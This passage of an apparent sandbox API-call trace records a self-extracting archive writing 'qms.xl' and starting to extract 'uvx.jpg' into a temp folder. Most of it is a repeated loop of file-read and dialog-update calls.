lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.468] GetTickCount () returned 0x1fbbc [0068.468] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.468] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.468] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.468] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.469] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.469] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.469] GetTickCount () returned 0x1fbbc [0068.469] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.469] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.470] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.470] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.470] GetTickCount () returned 0x1fbbc [0068.470] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.470] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.470] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.470] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.470] GetTickCount () returned 0x1fbbc [0068.470] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.470] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.470] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.470] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.470] GetTickCount () returned 0x1fbbc [0068.470] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.470] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.470] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.470] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.470] GetTickCount () returned 0x1fbbc [0068.470] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.470] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x208, lpOverlapped=0x0) returned 1 [0068.471] GetTickCount () returned 0x1fbcb [0068.471] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.471] SetFilePointer (in: hFile=0x1c, lDistanceToMove=873125, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd52a5 [0068.471] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.471] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.471] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.471] CloseHandle (hObject=0x138) returned 1 [0068.472] SetFileAttributesA (lpFileName="qms.xl", dwFileAttributes=0x20) returned 1 [0068.472] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd52a5 [0068.472] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.472] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.472] OemToCharA (in: pSrc="uvx.jpg", pDst=0x179cc0 | out: pDst="uvx.jpg") returned 1 [0068.472] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="uvx.jpg", cchCount2=1) returned 1 [0068.472] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="uvx.jpg", cchCount2=6) returned 1 [0068.472] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="uvx.jpg", cchCount2=-1) returned 1 [0068.472] SetFilePointer (in: hFile=0x1c, lDistanceToMove=873169, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd52d1 [0068.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="uvx.jpg") returned 8 [0068.472] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.472] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting uvx.jpg") returned 18 [0068.472] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting uvx.jpg") returned 1 [0068.472] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.472] OemToCharBuffA (in: lpszSrc="u", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="u") returned 1 [0068.473] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="uvx.jpg") returned 8 [0068.473] FindFirstFileW (in: lpFileName="uvx.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.473] GetLastError () returned 0x2 [0068.473] GetFileAttributesA (lpFileName="uvx.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\uvx.jpg")) returned 0xffffffff [0068.473] CreateFileA (lpFileName="uvx.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\uvx.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.473] GetFileType (hFile=0x138) returned 0x1 [0068.473] SetFilePointer (in: hFile=0x138, lDistanceToMove=607, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x25f [0068.473] SetEndOfFile (hFile=0x138) returned 1 [0068.473] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.473] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1e9, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1e9, lpOverlapped=0x0) returned 1 [0068.473] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.473] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.474] ReadFile (in: hFile=0x1c, lpBuffer=0x270471, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270471*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.474] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.474] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.474] GetTickCount () returned 0x1fbcb [0068.474] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 